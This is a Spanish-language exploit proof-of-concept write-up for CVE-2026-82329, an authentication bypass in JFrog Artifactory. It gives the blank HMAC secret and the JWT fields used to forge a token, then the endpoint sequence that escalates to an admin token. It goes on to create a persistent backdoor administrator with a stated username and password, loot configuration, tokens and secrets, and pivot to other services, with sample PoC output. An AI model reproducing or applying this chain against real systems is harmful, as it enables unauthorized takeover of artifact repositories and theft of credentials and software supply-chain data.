
Exploit PoC para CVE-2026-82329, una omisión de autenticación en JFrog Artifactory. Demuestra la falsificación de tokens JWT para obtener acceso de administrador y crear un usuario backdoor persistente.
CVE-2026-82329 — Bypass de Autenticación en JFrog Artifactory
La Vulnerabilidad
Bypass de autenticación crítico en JFrog Artifactory (versiones 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19). La falla permite a un atacante no autenticado falsificar un JWT utilizando un secreto HMAC en blanco (32 bytes de 0x20), generar un token de administrador y crear un usuario de puerta trasera.
Cadena de Explotación
Paso Acción 1 Falsificar JWT con alg=HS256, kid=SHA256(""), skip_node_registration=true 2 Enviar JWT a /access/api/v1/registry/join → obtener token SERVICE 3 Intercambiar token SERVICE por token ADMIN vía /access/api/v1/tokens 4 Verificar acceso de administrador vía /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version 5 Crear usuario administrador persistente vía /artifactory/api/security/users/{user} 6 Saquear configuración, tokens, usuarios, repositorios, secretos 7 Falsificar tokens para sujetos de alto valor
Flujo del Ataque
BLANK_SECRET = b"\x20" * 32
↓
Falsificar JWT (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
Token SERVICE (scp=admin)
↓
POST /access/api/v1/tokens
↓
Token ADMIN (scp=applied-permissions/admin, aud=*)
↓
Demostrar Admin (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
Usuario Administrador Persistente: 0xTerror:Terrorp0c!7777
↓
Saquear: Configuración, Tokens, Usuarios, Repositorios, Secretos
↓
Verificación de Pivote: Xray, Mission Control, Distribution, etc.
↓
Falsificar Tokens para Sujetos de Alto Valor
Ejemplo de Salida del PoC
[+] Paso 1 /registry/join -> HTTP 201 token SERVICE (scp=admin)
[+] Paso 2 /access/api/v1/tokens -> HTTP 200 token ADMIN (scp=applied-permissions/admin)
[+] Paso 3 prueba de admin: config=200, tokens=200, version=200
[+] Paso 4 crear usuario admin '0xTerror' -> HTTP 201
[=] VULNERABLE — atacante no autenticado obtuvo ADMIN
Usuario admin: 0xTerror:Terrorp0c!7777